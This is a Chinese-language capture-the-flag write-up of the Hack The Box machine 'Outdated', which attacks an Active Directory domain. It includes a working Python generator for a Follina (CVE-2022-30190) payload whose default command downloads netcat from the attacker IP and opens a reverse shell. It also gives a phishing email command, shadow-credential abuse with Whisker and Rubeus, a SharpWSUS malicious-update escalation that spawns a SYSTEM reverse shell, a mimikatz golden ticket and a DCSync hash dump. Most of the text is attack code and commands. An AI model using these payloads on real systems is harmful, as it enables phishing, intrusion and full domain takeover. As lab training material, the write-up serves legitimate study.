HTB-M-Outdated

讲的是一个CVE的钓鱼,还有一个WSUS的提权+AddKeyCredentialLink的横移


扫端口,

smb匿名登录存在文件泄露

pdf文件中存在在邮箱账户,以及几个CVE需要修补的

然后利用

存在RID但是我没有进行后续的信息收集,

钓鱼攻击

CVE-2022-30190

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3

import base64
import random
import string
import sys

if len(sys.argv) > 1:
command = sys.argv[1]
else:
command = "IWR http://10.10.16.14/nc64.exe -outfile C:\\programdata\\nc64.exe; C:\\programdata\\nc64.exe 10.10.16.14 443 -e cmd"

base64_payload = base64.b64encode(command.encode("utf-8")).decode("utf-8")

# Slap together a unique MS-MSDT payload that is over 4096 bytes at minimum
html_payload = f"""<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{base64_payload}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\""; //"""
html_payload += (
"".join([random.choice(string.ascii_lowercase) for _ in range(4096)])
+ "\n</script>"
)

print(html_payload)

生成的内容放在msdt.html

然后web服务目录放个nc64.exe,然后是开启监听

发送邮件

1
swaks --to itsupport@outdated.htb --from "ddl@ddl.htb" --header "Subject: Internal web app" --body "http://10.10.16.14/msdt.html"

获得第一个账户

进去之后看看IP是172.16.20.20段的

下载bloodhound看看

1
2
3
iwr http://10.10.16.14/SharpHound.exe -outfile s.exe

.\s.exe -C all

然后传给kali

1
iwr http://10.10.16.14/Whisker.exe -outfile w.exe
1
2
3
4
5
6
7
8
.\w.exe list /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb

.\w.exe add /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb /password:ddlddl
👆会产生一个命令然后使用它
iwr http://10.10.16.14/Rubeus.exe -outfile Rubeus.exe

获取hash

WSUS

(Windows Server Update Services)是许多企业 Windows 环境中的一个关键组件。它允许管理员集中管理和分发更新。

[工具](git clone https://github.com/nettitude/SharpWSUS.git)

利用条件

🎯 WSUS 提权利用的核心条件4个:

如果看不懂,往下直接看例子👇

条件 说明
WSUS 使用 HTTP 而非 HTTPS 明文传输,攻击者可中间人劫持更新
客户端允许非 Microsoft 签名更新 正常应该只允许签名更新,放开后可植入恶意更新
攻击者能访问客户端与 WSUS 的通信路径 通常在内网中或能 ARP/网络劫持
有权限修改 DNS 或执行中间人攻击 比如使用 Responder + WPAD、ARP 欺骗等方式重定向更新请求
缺乏更新验证机制(如证书校验) 客户端未验证更新源、签名、证书链等安全信息

识别

1
2
3
4
5
6
7
8
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
或者
Get-ItemProperty HKLM:\software\policies\microsoft\windows\WindowsUpdate

或或
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer

image-20250520184146618

1
WUServer    REG_SZ    http://wsus.outdated.htb:8530

1风险👆 — 使用了 HTTP(非 HTTPS)

  • 必须条件(最重要)
1
AcceptTrustedPublisherCerts    REG_DWORD    0x1

2风险👆 — 接受“受信任发布者”的证书

  • 如果为 0,你就必须使用微软签名的 MSI 文件,非常受限。
1
DoNotConnectToWindowsUpdateInternetLocations    REG_DWORD    0x1

3风险👆 表示此客户端仅使用内部 WSUS,不会访问微软官网,这让你完全控制其更新源

  • 次要条件(但有利)
  • 禁止外网更新
1
WUServer = http://wsus.outdated.htb:8530

4风险👆 客户端已经注册到了 WSUS 服务器

  • 必须条件

利用

1
2
.\SharpWSUS inspect
提供客户端信息

WSUS 只会运行经过签名的 Microsoft 二进制文件。由于我没有好的方法来获取 MS 签名证书,我必须使用合法的工具。在这使用PSExec。

1
.\SharpWSUS create /payload:"C:\Users\sflowers\downloads\PsExec64.exe" /args:" -accepteula -s -d C:\Users\sflowers\downloads\nc64.exe -e cmd.exe 10.10.16.14 445" /title:"CVE-2022-30190"

PsExec 的 /args 是 -accepteula ,这样它就不会弹出一个窗口并等待点击, -s 以系统身份运行, -d 立即返回。 /title 是任意的。

路径用绝对路径

1
.\SharpWSUS approve /updateid:9a8d6f25-0a74-474b-8624-62feaa81b3f4 /computername:dc.outdated.htb /groupname:"CriticalPatches1"

我需要批准那个更新,使用输出中给出的语法( /groupname 是任意的)
然后nc直接监听就行

其他附加

检查
1
.\SharpWSUS.exe check /updateid:137147af-1494-4067-94cf-9da1aeca5d41 /computername:dc.outdated.htb

后期掠夺

跑mimikatz,获得了 SIDKRBTGT NTLM 哈希,这足以让我执行我的黄金票攻击。

1
kerberos::golden /domain:outdated.htb /user:Administrator /sid:S-1-5-21-4089647348-67660539-4016542185 /rc4:<redacted>

然后用票据生成ccache会话

1
impacket-ticketConverter ticket.kirbi admin.ccache

导入会话👇

1
export KRB5CCNAME=./admin.ccache

同步时间

使用票据

1
impacket-psexec dc.$domain -k

dcsync攻击,导出所有哈希值:

1
netexec smb $box -u administrator --use-kcache -M ntdsutil

参考